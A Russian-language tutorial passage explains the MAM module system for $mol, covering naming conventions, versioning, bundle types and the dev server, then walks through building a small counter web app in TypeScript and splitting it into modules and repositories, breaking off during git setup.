В MAM нет пользовательского конфига, вместо него используются соглашения. Соглашение можно рассматривать как некое условие, которое нужно выполнить, чтобы получить требуемый результат.
С одной стороны это позволяет просто установить MAM и стартовать проект без дополнительных действий, т.к. уже все настроено. С другой стороны, отсутствие конфигов, позволяет независимым разработчикам писать единообразные модули, которые будут работать друг с другом без дополнительных усилий, на уровне модульной системы.
#### Отделение прикладного кода от инфраструктурного
Компания может разрабатывать больше одного приложения. Нередко инфраструктура сборки, разработки, деплоя разворачивается для каждого из них. Инфраструктура развивается эволюционно от приложения к приложению, путем копирования и доработки. Перенос доработок в старые приложения оказывается трудоемким.
MAM поставляется в отдельном репозитории, в котором настроено рабочее окружение. Работа со множеством проектов осуществляется в одном окружении. Вы можете централизовано получать обновления для окружения и централизовано вносить изменения во все приложения.
#### Фрактальные моно-поли-репозитории
В начале у нас один репозиторий с проектом. Когда он разрастется, часть можно вынести в отдельный репозиторий. Репозитории могут образовывать дерево, вкладываясь друг в друга. При разделении на несколько репозиториев, код остается неизменным, добавляется только ссылка на удаленный репозиторий. MAM автоматически клонирует нужные для проекта репозитории. Локально код всех приложений выглядит как один моно-репозиторий.
#### Версионирование
Подход к версионированию в MAM называется "verless" - безверсионность. Он работает по принципу открытости/закрытости.
* Модуль всегда имеет одну версию - последнюю.
* Версии которые сохраняют обратную совместимость API, публикуются под одним именем - рефакторинг, фиксы, расширение.
* Не совместимые, под разными именами - `$mol_atom -> $mol_atom2`.
* Реализация старого интерфейса, может использовать новую реализацию (или наоборот), что предотвращает дублирование.
Что это дает:
* Мейнтейнер и пользователи модуля фокусируются на одной "версии", вместо распыления внимания на несколько.
* Несколько "версий" одного модуля могут сосуществовать рядом. Возможна плавная миграция.
* При использовании двух "версий" одного модуля, размер бандла увеличится только на размер адаптера.
* Важную функциональность необходимо покрывать тестами.
В случае, если обновление что-то ломает, фиксация ревизии обеспечивается системой контроля версий.
#### Сборка
Любой модуль можно собрать независимо, без предварительной подготовки. Сборщик автоматически установит недостающие зависимости и скачает удаленные репозитории, от которых зависит собираемый модуль. Артефакты помещаются в директорию `-` (минус) , которая создается в папке с модулем.
Далее будем называть директорию, в которую помещаются артефакты сборки - дистрибутив. А отдельный артефакт в ней - бандл.
#### Понятные имена
MAM накладывает ограничение на имена глобальных сущностей. Чтобы сущность можно было использовать в других модулях, ее имя должно:
* Через знак подчеркивания, повторять путь до этого модуля в файловой системе.
* Начинаться с `$` (не во всех языках такое возможно, в ts/js - да, в css - нет).
Примеры: `$my_alert`, `$mol_data_record`, `$hyoo_crowd_doc`
Такое именование называется [Fully Qualified Name](https://en.wikipedia.org/wiki/Fully_qualified_name) - оно позволяют однозначно идентифицировать сущность, независимо от контекста ее использования.
Это ограничение позволяет:
* Лучше продумывать имена модулей и структуру приложения.
* Разработчик всегда знает, что где лежит.
* Делает имена глобально-уникальными.
* Упрощает анализ кода.
#### Автоматический импорт/экспорт
IDE умеют генерировать импорты автоматически, что мешает делать это сборщику? В MAM не нужно использовать импорты/экспорты, чтобы воспользоваться сущностью из другого модуля, достаточно просто написать ее имя.
```
$mol_assert_ok( true )
```
Сборщик по FQN-именам понимает где и какой модуль используется, и автоматически их подключает при сборке.
#### Гранулированность
Чтобы код максимально переиспользовался, он должен быть разбит на множество маленьких, специализированных модулей.
Для этого нужно, простое создание и использование модулей. В MAM для создания модуля, достаточно создать директорию с файлом, а для использования обратится к FQN-имени.
#### Оптимизация размера бандла
Так как модули имеют высокую гранулированность, а в сборке участвуют только зависимые модули, то бандлы имеют минимальный размер.
#### Независимость от языков
Для разных вещей используются разные языки: `js`, `css`, `html`, `svg`, `ts`, и т.д. Например в webpack, точкой входа является скрипт, в котором подключаются файлы на остальных языках. А что если модуль состоит только из `CSS`?
В MAM модульная система отделена от языков, т.е. зависимости могут быть кросс-языковыми. `css` может зависеть от `js`, который зависит от `ts`. В исходниках обнаруживаются зависимости от модулей, а модули подключаются целиком(все файлы) и могут содержать исходники на любых языках - точнее на тех, которые сейчас поддерживает MAM, но есть возможность расширить их список.
#### Разные типы файлов
Каждый файл модуля специализируется на чем-то своем, предназначение файла отражено в его имени. А в дистрибутив сборщик кладет несколько разных типов бандлов.
Например:
* `*.node.ts` - код из этого файла попадет только в бандл `node.js`;
* `*.web.ts` - код попадет только в бандл `web.js`;
* `*.ts` - попадет в оба бандла `web.js` и `node.js`;
* `*.test.ts` - попадет в бандл с тестами `web.test.js` и `node.test.js`;
* `*.node.test.ts` - также можно у платформу;
* `*.locale=ru.json`, `*.locale=en.json` - файлы локализации для русского и английского.
Подробный разбор того какие файлы модуля поддерживаются MAM и какие бандлы создаются в дистрибутиве производится ниже.
#### Тестовые бандлы
MAM создает дополнительные бандлы с тестами `web.test.js` и `node.test.js`. В них добавляется код приложения и код тестов(для `web` это не совсем так, объясняется ниже), тесты создаются в файлах `*.test.ts*`. При запуске тестового бандла, исполняется код приложения, после него запускаются тесты.
При падении теста, под подозрением оказываются: тест, модуль для которого написан тест и зависимости этого модуля. Сборщик MAM строит граф зависимостей модулей и перед запуском сортирует тесты по глубине, от меньшей к большей. Такой подход гарантирует, что при запуске тестов модуля, его зависимости уже протестированы - под подозрением остаются только тест и модуль.
При разработке, следует запускать тестовые бандлы. Тесты запускаются после каждой сборки, в отладчике следует поставить остановку на ошибках, чтобы раньше выявлять проблемы.
#### Одинаковый код на dev и prod
В NPM-пакетах можно встретить ситуацию, что код который запускается во время разработки отличается от кода, который публикуется. Ситуация когда ошибка воспроизводится только на production не исключительна. MAM специально не преобразует код в production бандлах, при разработке запускается тот же код. Отличие только в том, что в тестовые бандлы добавляется код тестов.
### Погружение
Далее, на примере небольшого веб-приложения - счетчик, мы попробуем MAM на практике и разберем подробности его работы. В следующих частях цикла к этому приложению добавим реактивность и переведем его на $mol-компоненты.
#### Установка MAM-окружения и настройка VSCode
1. Обновите NodeJS до LTS версии.
2. Загрузите репозиторий MAM.
```
git clone https://github.com/hyoo-ru/mam.git ./mam && cd mam
```
3. Установите зависимости, вашим пакетным менеджером.
```
npm install
```
4. Установите плагины для VSCode
* [EditorConfig](https://marketplace.visualstudio.com/items?itemName=EditorConfig.EditorConfig)
* [vscode-language-tree](https://marketplace.visualstudio.com/items?itemName=nin-jin.vscode-language-tree)
Можно использовать [gitpod](https://gitpod.io/#https://github.com/hyoo-ru/mam), окружение установится автоматически, согласитесь установить плагины.
**MAM-окружение достаточно установить один раз и использовать для всех проектов**
#### Где находятся исходники MAM?
Репозиторий с MAM-окружением зависит от NPM-пакета [mam](https://www.npmjs.com/package/mam). Этот пакет является модулем `$mol_build`, который опубликован в NPM, исходники модуля [тут](https://github.com/hyoo-ru/mam_mol/tree/master/build). Вся логика MAM сейчас реализована в этом модуле. Сам модуль создан одним из первых и нуждается в рефакторинге. Есть [прототип](https://github.com/hyoo-ru/mam/tree/new-builder/mam) новой версии, но пока нет ресурсов для его завершения.
#### Как создать модуль?
1. Подумать над именем.
2. Создать директорию с файлом.
Условно, модули можно разделить на три типа:
* **Пространство имен/namespace** - модуль, который содержит только другие модули.
* **Модуль** - директория с файлами и другими модулями.
* **Подмодуль** - модуль внутри другого модуля Один и тот же модуль в разных контекстах можно назвать и тем и другим.
**В руководстве будет использоваться неймспейс** `my`, он годится для примеров, но не рекомендуется использовать его для разработки, чтобы можно было делится кодом. Рекомендуется придумать свое имя.
Создадим неймспейс и модуль:
1. Перейдите в директорию с MAM - `cd mam`
2. Создайте директорию для неймспейса - `mkdir my && cd my`
3. Создайте директорию для модуля приложения - `mkdir counter`
#### Какие языки и форматы может содержать модуль?
MAM возник вместе с $mol и часть файлов заточена под него. Но в целом, ограничений нет, при необходимости можно добавить поддержку других, например `dockerfile`.
Ниже перечислены файлы, которые могут размещаться в модуле и с которыми на данный момент умеет работать MAM.
* **index.html**
Это обычный `html`, который может содержать произвольную разметку. Он является точкой входа для бандла `web.js`, в нем определяется корневой DOM-элемент, к которому будет монтироваться приложение.
*Нельзя размещать* `index.html` в корневом неймспейсе, только в его модулях и глубже
* **package.json**
Сборщик автоматически генерирует `package.json`. Он поможет при публикации модуля в NPM и при разработке под NodeJS - информация о зависимостях и некоторая другая генерируется автоматически.
В директории модуля можно разместить файл `package.json` с необходимым содержимым, тогда сборщик [смержит](https://github.com/hyoo-ru/mam_mol/blob/1ceaf6046cb9a3502510f0c31f97a3e4e1026d09/build/build.node.ts#L1159) его со сгенерированным `package.json`.
* **readme.md**
Используется для документации модулей. Если модуль еще разрабатывается, добавьте строку `unstable`. При сборке модуля, этот файл копируется в дистрибутив. Если он отсутствует, то сборщик ищет файл `readme.md` в родительском модуле и так рекурсивно до корня. [Пример](https://github.com/hyoo-ru/mam_mol/blob/master/wire/README.md).
* **.ts**
Код на typesctipt
* **.jam.js**
Код на javascript тоже поддерживается, но необходимо перед расширением добавлять `jam` (javascript abstract module). [Пример](https://github.com/hyoo-ru/mam/blob/master/mam.jam.js).
* **.web.ts, .node.ts**
Для разделения кода по платформам используются теги `web` и `node`. Если тег указан, то код попадет в указанный бандл, `web.js` или `node.js`. Если тег не указан, то код попадет в оба бандла.
* **.test.ts**
Код в файле с тегом `test` попадет в тестовый бандл, их тоже два `web.test.js` и `node.test.js`. В месте с тегом `test`, можно указывать тег платформы - `*.web.test.ts`.
* **.css**
Произвольный `css` код. В FQN-именах у `css` - знак `$` не ставится в начале.
* **.css.ts**
[Статически типизированный, каскадный](https://github.com/hyoo-ru/mam_mol/blob/master/style/readme.md) `css in ts`, можно использовать только с компонентами $mol.
* **.view.tree**
Декларативное описания view-компонент, используется в $mol. Можно использовать для описания любых классов.
* **.locale=\*.json**\*
Локализованные тексты на разных языках, используется в $mol. Тег `locale` принимает параметр - язык текстов, например `*.locale=ru.json`.
* **.meta.tree**
Файл с инструкциями для сборщика, поддерживает несколько команд:
+ `deploy` - копирует указанный файл в дистрибутив
+ `require` и `include` - включает указанный модуль в зависимости, даже если в коде он не используется.
+ `pack` - указывает адрес удаленного репозитория для подмодуля
* **Тег view**
В $mol принято файлам реализующим view-компонент, добавлять тег `view` - `counter.view.tree`, `counter.view.ts`, `counter.view.css`. У формата `.view.tree`, `view` - это не тег, а часть расширения.
Все теги - это часть составного расширения. Если читать расширение справа налево, получится конкретизация от общего к частному.
#### Как называть файлы модуля?
Обычно файлам дают имя модуля, например `counter.view.tree`, `counter.view.ts`, `counter.view.css` для файлов в модуле `my/counter`. Но сборщику не важны их имена, он читает все файлы модуля, которые поддерживает. Важно как называются сущности внутри них, например класс компонента `my/counter` в коде должен называться `class $my_counter {}`.
`index.html`, `package.json`, `readme.md` - называются всегда одинаково.
#### Начальная реализация модуля $my\_counter
Создайте файл `mam/my/counter/index.html` с таким содержимым:
```
```
Создайте `mam/my/counter/counter.ts`, весь код приведенный ниже поместите в него. Позже мы его разделим на модули.
```
class View {
// Тут и ниже, такие поля используются для кеширования.
// Удалятся при добавлении реактивности, в следующей главе
_dom_node = null as unknown as Element
// Создание DOM-ноды и регистрация событий на ней
dom_node() {
if ( this._dom_node ) return this._dom_node
const node = document.createElement( this.dom_name() )
for ( const [name, fn] of Object.entries(this.event()) ) {
node.addEventListener(name ,fn)
}
// Атрибут с именем класса, для матчинга из css
node.setAttribute('view', this.constructor.name)
return this._dom_node = node
}
// Актуализация атрибутов и полей
dom_node_actual() {
const node = this.dom_node()
for ( const [name, val] of Object.entries(this.attr()) ) {
node.setAttribute(name, String(val))
}
for ( const [name, val] of Object.entries(this.field()) ) {
node[name] = val
}
return node
}
// Подготовка и рендеринг дочерних компонентов
dom_tree() {
const node = this.dom_node_actual()
const node_list = this.sub().map( node => {
if ( node === null ) return null
return node instanceof View ? node.dom_tree() : String(node)
} )
// Воспользуемся рендером из $mol
$.$mol_dom_render_children( node , node_list )
return node
}
// Методы ниже будут переопредялятся в компонентах-наследниках
// Имя DOM-элемента
dom_name() {
return 'div'
}
// Объект с атрибутами
attr(): { [key: string]: string|number|boolean|null } {
return {}
}
// Объект с событиями
event(): { [key: string]: (e: Event) => any } {
return {}
}
// Объекст с полями
field(): { [key: string]: any } {
return {}
}
// Дочерние компоненты
sub(): Array {
return []
}
}
```
Класс View - обертка для DOM элемента, предоставляющая интерфейс для упрощения работы с ним.
Функция [$mol\_dom\_render\_children](https://github.com/hyoo-ru/mam_mol/blob/1ceaf6046cb9a3502510f0c31f97a3e4e1026d09/dom/render/children/children.ts) рендерит дочерние элементы, без лишних вставок и удалений в DOM-дереве. Сейчас нам нет смысла ее реализовывать, поэтому воспользуемся готовой из $mol.
Теперь создадим несколько компонентов на базе класса View. Мы наследуемся от него, переопределяем нужные методы.
```
class Button extends View {
dom_name() { return 'button' }
title() { return '' }
click( e: Event ) {}
sub() {
return [ this.title() ]
}
event() {
return {
click: (e: Event) => this.click(e)
}
}
}
class Input extends View {
dom_name() { return 'input' }
type() { return 'text' }
_value = ''
value( next = this._value ) {
return this._value = next
}
change( e: Event ) {
this.value( (e.target as HTMLInputElement).value )
}
field() {
return {
value: this.value(),
}
}
attr() {
return {
type: this.type(),
}
}
event() {
return {
input: (e: Event)=> this.change(e),
}
}
}
```
И добавляем класс с логикой приложения.
```
class Counter extends View {
// Синхронизайия с localStorage,
// все вкладки приложения будут синхронизироваться
storage( key: string, next?: Value ) {
if ( next === undefined ) return JSON.parse( localStorage.getItem( key ) ?? 'null' )
if ( next === null ) localStorage.removeItem( key )
else localStorage.setItem( key, JSON.stringify( next ) )
return next
}
count( next?: number ) {
return this.storage( 'count' , next ) ?? 0
}
count\_str( next?: string ) {
return this.count( next?.valueOf && Number(next) ).toString()
}
inc() {
this.count( this.count() + 1 )
}
dec() {
this.count( this.count() - 1 )
}
// Создаем инстанс Button
// Переопределяем title
// click биндим на this.inc
\_Inc = null as unknown as View
Inc() {
if (this.\_Inc) return this.\_Inc
const obj = new Button
obj.title = ()=> '+'
obj.click = ()=> this.inc()
return this.\_Inc = obj
}
\_Dec = null as unknown as View
Dec() {
if (this.\_Dec) return this.\_Dec
const obj = new Button
obj.title = ()=> '-'
obj.click = ()=> this.dec()
return this.\_Dec = obj
}
\_Count = null as unknown as View
Count() {
if (this.\_Count) return this.\_Count
const obj = new Input
obj.value = (next?: string)=> this.count\_str( next )
return this.\_Count = obj
}
sub() {
return [
this.Dec(),
this.Count(),
this.Inc(),
]
}
static mount() {
const node = document.querySelector( '#root' )
const obj = new Counter()
node?.replaceWith( obj.dom\_tree() )
// Реактивность добавится в следующей главе, сейчас воспользуемся костылем
setInterval( ()=> obj.dom\_tree() , 100 )
}
}
// Вызываем для монтирования приложения в DOM-дерево
Counter.mount()
```
#### Как собрать модуль вручную?
Сборка запускается командой `npm start путь/до/модуля`. При ручном запуске, сборщик собирает все бандлы, которые поддерживает.
Соберите приложение
```
cd mam
npm start my/counter
```
После запуска, сборщик вернет ошибку `ReferenceError: document is not defined` для строки `const node = document.querySelector('#root')`. Обратите внимание на имя файла `node.test.js`, он `node.test.js` запускается автоматически сразу после сборки.
У нас в коде, после объявления класса Counter, запускается статический метод `Counter.mount()`. Внутри него есть обращение к `window.document`, т.к. `node.test.js` запускается под NodeJS, мы получаем ошибку.
Сейчас мы добавим костыль, позже исправим. Добавьте строку в начало метода `Counter.mount`
```
static mount() {
if ( typeof document === 'undefined' ) return // +
const node = document.querySelector( '#root' )
const obj = new Counter()
node?.replaceWith( obj.dom_tree() )
setInterval( ()=> obj.dom_tree() , 100 )
}
```
Запустите сборку снова.
#### Где искать результаты сборки?
Выше мы уже говорили, что бандлы помещаются в директорию `-`, она создается в директории модуля. Также вы можете увидеть еще несколько директорий название которых начинается со знака минус `-css`, `-view.tree`, `-node` - это промежуточные результаты, они создаются по необходимости.
Когда модуль выносится в отдельный репозиторий в `.gitignore` достаточно добавить строку `-*`
#### Какие файлы создает сборщик?
Теперь заглянем в директорию дистрибутива `mam/my/counter/-`.
**index.html, test.html**
Это точка входа, для запуска модуля в браузере. Если файл `index.html` создан в модуле, то он будет просто скопирован. Автоматически сборщик не создает его.
Файл `test.html` создается всегда, не зависимо от наличия `index.html`. Он нужен для того чтобы запустить тесты в браузере. Если `index.html` отсутствует, то `test.html` генерируется автоматически, с таким контентом:
```
addEventListener( 'load', ()=> {
const test = document.createElement( 'script' )
test.src = 'web.test.js'
const audit = document.createElement( 'script' )
audit.src = 'web.audit.js'
test.onload = ()=> document.head.appendChild( audit )
document.head.appendChild( test )
} )
```
Тут подключается `web.js` файл, он содержит код модуля и зависимостей. Файл `/mol/build/client/client.js` - небольшой [скрипт](https://github.com/hyoo-ru/mam_mol/blob/master/build/client/client.js), открывает соединение по веб-сокетам с дев-сервером и по его команде перезагружает страницу. По событию `load` загружается `web.test.js` - тесты для браузера и `web.audit.js` - выводит в лог ошибки типов typescript.
Тесты запускаются при каждой перезагрузки страницы, это нужно для раннего выявления проблем.
Если есть `index.html`, его содержимое копируется в `test.html` и часть начиная с загрузки `client.js` добавляется в конец.
**Браузерные бандлы**
* `web.js` содержит код собираемого модуля и код модулей от которых зависит;
* `web.*.map` source map;
* `web.esm.js` тоже самое, только в формате `esm` модуля;
* `web.d.ts` файл с декларациями typescript типов;
* `web.test.js` содержит тесты модуля и тесты его зависимостей, самого кода модуля и его зависимостей в нем нет, т.к. в `html` файл `web.js` подгружается отдельно;
* `web.view.tree` сюда складываются деклорации из всех `view.tree` файлов;
* `web.locale=en.json` локализация на английском, генерируется автоматически путем анализа `view.tree`, для других языков этот файл копируется, переводится и помещается в директорию с модулем;
* `web.view=*.json` локализация для других языков, просто копируется из директории модуля в дистрибутив;
* `web.deps.json` информация о графе зависимостей модулей;
* `web.audit.js` в случае ошибок в проверке типов, тут будет `console.log` с информацией о них. Если ошибок нет, то `console.log("Audit passed")`.
**Серверные бандлы**
Все файлы с префиксом `node` предназначены для запуска под NodeJS. Список файлов, точно такой же как и для браузера. Отличие только в коде, т.е. исходный код файлов с тегом `node` попадает только в серверные бандлы, а с тегом `web` только в браузерные.
`node.test.js` содержит и код модуля с зависимостями и тесты к ним, в отличие от `web.test.js`.
[**r**](http://readme.md)**eadme.md**
Копируется из директории с модулем, если в модуле его нет, то ищется в родительском модуле и так до корня.
**package.json**
Сборщик автоматически генерирует файл `package.json`, используется для публикации пакетов в NPM и для серверных приложений. Если приложение использует NPM-пакеты, то они будут указаны в зависимостях. Если этот файл присутствует в модуле, то он буде объединен со сгенерированным файлом.
#### Запуск дев-сервера
Давайте запустим дев-сервер, он перезапускает сборку при изменении зависимостей модуля и перезагружает страницу в браузере.
Выполните команду:
```
cd mam
npm start
```
Ссылка `http://127.0.0.1:9080` появится в терминале. Откройте ее, вы увидите в файловом менеджере директории находящиеся в `mam`. Откройте модуль приложения `mam/my/counter`. Обнаружив файл `index.html`, дев-сервер начнет сборку этого модуля.
На текущий момент, поддерживается пересборка только для модулей содержащих файл `index.html`.
Когда вы откроете модуль c файлом `index.html`, в адресной строке браузера будет путь `http://127.0.0.1:9081/my/counter/-/test.html`. Он состоит из:
* путь до модуля, который вы собираете `/my/counter`,
* директория дистрибутива `/-/`
* запрашиваемый бандл `test.html`
После того как браузер загрузит `html` документ, начнется загрузка `js` файла, ссылка на который находится в теге `script` - . Браузер сделает запрос по такому адресу `http://127.0.0.1:9081/my/counter/-/web.js`.
Дев-сервер анализирует адрес запроса, получает путь до модуля, и какой файл запрошен, выполняет сборку запрошенного бандла, кэширует результат и отправляет в браузер. При изменении файла кэш сбрасывается, а браузеру отправляется команда перезагрузить вкладку, после чего файл запрашивается снова и происходит его сборка.
Дев-сервер собирает только те файлы, которые непосредственно запрашиваются из браузера, для того чтобы собрать все артефакты, необходимо запустить сборку вручную.
Сейчас дев-сервер поддерживает сборку только веб-приложений. Если вы разрабатываете NodeJS проект, то вы можете запустить дев-сервер и вручную отправлять запрос за файлом `node.test.js`, для его пересборки.
#### Как импортировать и экспортировать модули?
MAM автоматически отслеживает зависимости между модулями, анализируя FQN-имена в исходниках. Если мы хотим "экспортировать", какую-то сущность из модуля, чтобы она была доступна в других модулях, необходимо дать ей имя в формате FQN. Чтобы использовать метод, функцию или любую сущность из другого модуля, нужно просто написать ее имя.
Например, в модуле `$my_csv` объявлено две функции
```
// mam/my/csv/cvs.ts
function $my_csv_decode( text = 'a;b;c\n1;2;3' ) {
return $mol_csv_parse( text )
}
function $my_csv_encode( list = [['a','b','c'], [1,2,3]] ) {
return list.map(
line => line.map( cell => `"${cell.replace( /"/g, '""' )}"` ).join(';')
).join('\n')
}
```
Ими можно воспользоваться в любом другом модуле, просто написав имя `$my_csv_decode( 'q;w;\n1;2' )`, будто она объявлена выше в этом же файле.
Обратите внимание, что совпадать должен только префикс имени `$my_csv_` с путем до файла `mam/my/csv`. В этом же файле мы можем объявить функцию с таким именем `$my_csv_decode_stream`, это не значит что мы обязаны класть эту функцию в `mam/my/csv/decode/stream`.
Теперь давайте воспользуемся FQN-именами в нашем приложении и заодно разобьем его на несколько модулей.
Получится такая структура:
```
mam /
my /
counter /
view /
button /
input /
```
1. Переименуйте класс `View` в `$my_counter_view`, создайте файл `mam/my/counter/view/view.ts` и перенесите туда код этого класса.
2. Тоже самое делаем с классом `Button`
```
// mam/my/counter/button/button.ts
class $my_counter_button extends $my_counter_view {
dom_name() { return 'button' }
title() { return '' }
click( e: Event ) {}
sub() {
return [ this.title() ]
}
event() {
return {
click: (e: Event) => this.click(e)
}
}
}
```
И с классом `Input`
```
// mam/my/counter/input/input.ts
class $my_counter_input extends $my_counter_view {
dom_name() { return 'input' }
type() { return 'text' }
_value = ''
value( next = this._value ) {
return this._value = next
}
event_change( e: Event ) {
this.value( (e.target as HTMLInputElement).value )
}
field() {
return {
value: this.value(),
}
}
attr() {
return {
type: this.type(),
}
}
event() {
return {
input: (e: Event)=> this.event_change(e),
}
}
}
```
В файле `mam/my/counter/counter.ts` остался класс `Counter`. Измените его имя на `$my_counter` и имена переименованных классов.
Запустите дев-сервер, если еще не сделали этого, и убедитесь что приложение работает.
#### Что если модуль используется много раз и его имя слишком длинное?
Положите ссылку на него в переменную с более коротким именем.
```
const Response = $mol_data_record({
status: $mol_data_number,
data: $mol_data_record({
name: $mol_data_string,
surname: $mol_data_string,
age: $mol_data_number,
birth_date: $mol_data_pipe( $mol_data_string, $mol_time_moment ),
}),
})
```
Станет:
```
const Rec = $mol_data_record
const Str = $mol_data_string
const Num = $mol_data_number
const Response = Rec({
status: Num,
data: Rec({
name: Str,
surname: Str,
age: Num,
birth_data: $mol_data_pipe( Str, $mol_time_moment ),
}),
})
```
#### Какие модули включаются в дистрибутив?
Сборка работает по нескольким правилам:
1. **В бандлы включаются все модули от которых зависит собираемый модуль**. Анализируется по FQN-именам.
2. **Включаются модули, подключенные командами** `include` и `require`, а также копируются статические файлы командой `deploy`. Подробнее рассматривается ниже.
3. **Включается родительский модуль, для каждого включенного модуля**. Например, при сборке модуля `/a/b/c`, в бандлы будут включены модули `c`, `b`, `a`, `/`. Код родительского модуля, будет включен раньше кода модуля. Как пример можно рассмотреть модуль [mam](https://github.com/hyoo-ru/mam/blob/1411fbd7b310463d4a92cd4353bbba349c1cc57a/mam.ts), он находится непосредственно в репозитории с дев-окружением, и будет включен в дистрибутив при сборке любого модуля.
4. **Модуль включается целиком**. Если модуль включается в дистрибутив, то все его файлы, с которыми умеет работать MAM, будут включены в соответствующие бандлы. Подмодули не включаются автоматически, только если срабатывают правила выше.
Добавим модуль для работы с localStorage. Создайте директорию для модуля `$my_counter_storage` и `ts` файл.
```
// mam/my/counter/storage/storage.ts
class $my_counter_storage {
static value( key: string, next?: Value ) {
if ( next === undefined ) return JSON.parse( localStorage.getItem( key ) ?? 'null' )
if ( next === null ) localStorage.removeItem( key )
else localStorage.setItem( key, JSON.stringify( next ) )
return next
}
}
```
Сейчас не нужно его использовать в `$my_counter`.
Добавьте в файл `mam/my/counter/button/button.ts` еще одну кнопку - `$my_counter_button_minor`. Она не будет использоваться, нужна только для демонстрации.
```
// mam/my/counter/button/button.ts
class $my_counter_button extends $my_counter_view {
dom_name() { return 'button' }
title() { return '' }
click( e: Event ) {}
sub() {
return [ this.title() ]
}
event() {
return {
click: (e: Event) => this.click(e)
}
}
}
class $my_counter_button_minor extends $my_counter_button {
attr() {
return {
'my_counter_button_minor': true,
}
}
}
```
После сборки откройте бандл `web.js`. Найдите класс `$my_counter_button_minor`, он включен в бандл, потому что модуль `$my_counter_button` используется в приложении, а класс минорной кнопки объявлен именно в нем. Если вынести объявление кнопки в отдельный модуль `mam/my/counter/button/minor`, тогда она не добавится в бандл.
Класс `$my_counter_storage` вы не найдете в бандле, потому что он не используется в приложении.
Теперь используем модуль `$my_counter_storage` в коде.
```
// mam/my/counter/counter.ts
class $my_counter extends $my_counter_view {
// delete
// - storage( key: string, next?: Value ) {
// - if ( next === undefined ) return JSON.parse( localStorage.getItem( key ) ?? 'null' )
// -
// - if ( next === null ) localStorage.removeItem( key )
// - else localStorage.setItem( key, JSON.stringify( next ) )
// -
// - return next
// - }
count( next?: number ) {
// - return this.storage( 'count' , next ) ?? 0
return $my\_counter\_storage.value( 'count' , next ) ?? 0 // +
}
```
После сборки вы найдете модуль `$my_counter_storage` в бандле.
#### Зависимость между css и ts
Создайте модуль `$my_theme` с файлом `theme.ts`
```
// mam/my/theme/theme.ts
setInterval( ()=> {
document?.documentElement.setAttribute(
'my_theme' ,
new Date().getSeconds() < 30 ? 'light' : 'dark' ,
)
} , 1_000 )
```
Код выше, раз в 30 секунд меняет значение атрибута `my_theme`, на элементе `html`.
Создайте `css` файл в модуле `$my_counter`
```
/* mam/my/counter/counter.css */
[my_theme="light"] {
background-color: white;
}
[my_theme="dark"] {
background-color: black;
}
```
*В* `css` знак `$` в FQN-именах не используется.
Откройте приложение, вы увидите что цвет фона страницы, меняется каждые 30 секунд.
Сборщик находит имя модуля `$my_theme` в файле `counter.css` и добавляет все файлы модуля `$my_theme` в бандлы. Найдите его код в бандле `web.js`.
После добавления `css` файла, вы найдете несколько новых модулей в `js` бандле. Сейчас стили добавляются в `web.js` бандл с помощью функции `$mol_style_attach`. Она и ее зависимости добавлены в бандл.
#### Как перенести модуль в другое место?
Во время рефакторинга, может понадобится перенести модуль в другое место. Поскольку имена зависят от месторасположения, их тоже нужно менять. Вам нужно выполнить команду редактора `find and replace`. Например, ищем все имена с именем `my_module_name` и заменяем на `my_module_new_name`, после перемещения файлов.
**В meta.tree вместо FQN используются пути через** `/`, их придется менять отдельно
Вынесем в отдельный модуль, модули с библиотечным кодом `$my_counter_view`, `$my_counter_button` и т.д., а в модуле `$my_counter` останется только код приложения.
Создайте директорию для модуля `$my_lom`
```
cd mam/my
mkdir lom
```
Переместите директорию `$my_counter_view` в `$my_lom_view`, и используя `find and replace` переименуйте все строки `my_counter_view` в `my_lom_view`. Поиск и замена производится на уровне корневой директории `mam`.
Повторите проделанное выше с остальными модулями: `$my_counter_button`, `$my_counter_input`, `$my_counter_storage`, `$my_theme`.
Сейчас весь библиотечный код находится в модуле `$my_lom`, а в модуле `$my_counter` остался только прикладной код. Убедитесь что приложение работает.
#### Монорепозитории и полирепозитории
MAM поддерживает работу с обоими типами репозиториев одновременно. Их можно вкладывать друг в друга, также как и модули. Сборщик автоматически клонирует отсутствующие репозитории. Можно произвольный модуль вынести в отдельный репозиторий, без изменения его исходного кода. Разработчик использует одно дев-окружение, в котором находятся все проекты рядом, каждый в своем неймспейсе/модуле, в том числе неймспейс `mol`. Т.е. при разработке это выглядит как один большой монорепозиторий, можно внести изменения в любой модуль, но при этом этот код может хранится во множестве удаленных репозиториях на github, gitlab, bitbucket и т.д.
Для того чтобы сборщик мог загрузить репозиторий, он должен знать его адрес. Ссылки на удаленные репозитории находятся в файле `*.meta.tree`, который размещается в родительском модуле, по отношению к модулю который выносится в удаленный репозиторий. [Пример файла](https://github.com/hyoo-ru/mam_hyoo/blob/master/hyoo.meta.tree) `meta.tree`
Команда выглядит так:
`pack apps git \https://github.com/hyoo-ru/apps.hyoo.ru.git`
* `pack` - инструкция, говорит сборщику что перед нами удаленный репозиторий;
* `apps` - имя директории подмодуля, в которую будет загружен репозиторий;
* `git` - система контроля версия, сейчас поддерживается только одна;
* после `\` размещается ссылка на репозиторий.
Разберем на примере как это работает:
1. Запускаем команду `yarn start hyoo/draw`.
2. Сборщик не найдя директорию `mam/hyoo`, ищет `meta.tree` в директории `mam`.
3. В `meta.tree` находит строку в которой директория подмодуля называется `hyoo` - `pack hyoo git \https://github.com/hyoo-ru/mam_hyoo.git`.
4. Клонирует этот репозиторий в `mam/hyoo`.
5. Ищет директорию `mam/hyoo/draw`, не найдя заглядывает в `mam/hyoo/hyoo.meta.tree`, теперь его интересует строка начинающаяся с `pack draw`. Найдя ее, клонирует репозиторий в `mam/hyoo/draw`.
6. Приступает к сборке `$hyoo_draw`.
Для того, чтобы VSCode корректно работал с несколькими репозиториями, создайте файл `mam/.gitmodules` с подобным содержимым:
```
[submodule "mam_mol"]
path = mol
url = git@github.com:hyoo-ru/mam_mol.git
[submodule "hyoo"]
path = hyoo
url = git@github.com:hyoo-ru/hyoo.git
```
На вкладке контроля версий, у вас появится несколько репозиториев.
**VSCode не всегда сразу отображает репозитории перечисленные в** `.gitmodules` **на вкладке** `Source Control`**. Чаще всего это решается перезапуском VSCode. Если перезапуск не помогает, то нужно изменить порядок модулей в** `.gitmodules`
Сейчас мы вынесем неймспейс `$my` и модули `$my_lom`, `$my_counter` в отдельные репозитории.
1. Создайте репозиторий с именем `mam_my` на [github.com](https://github.com).
2. Создайте git-репозиторий в модуле `$my` и свяжите его с репозиторием созданным на github. *В листингах ниже* `**YOUR_NAME**` замените на свое значение.
```
cd mam/my
echo "# mam_my - namespace for MAM-based projects" > readme.md
echo "-*" > .gitignore
git init
git add readme.md
git commit -m "Init"
git branch -M main
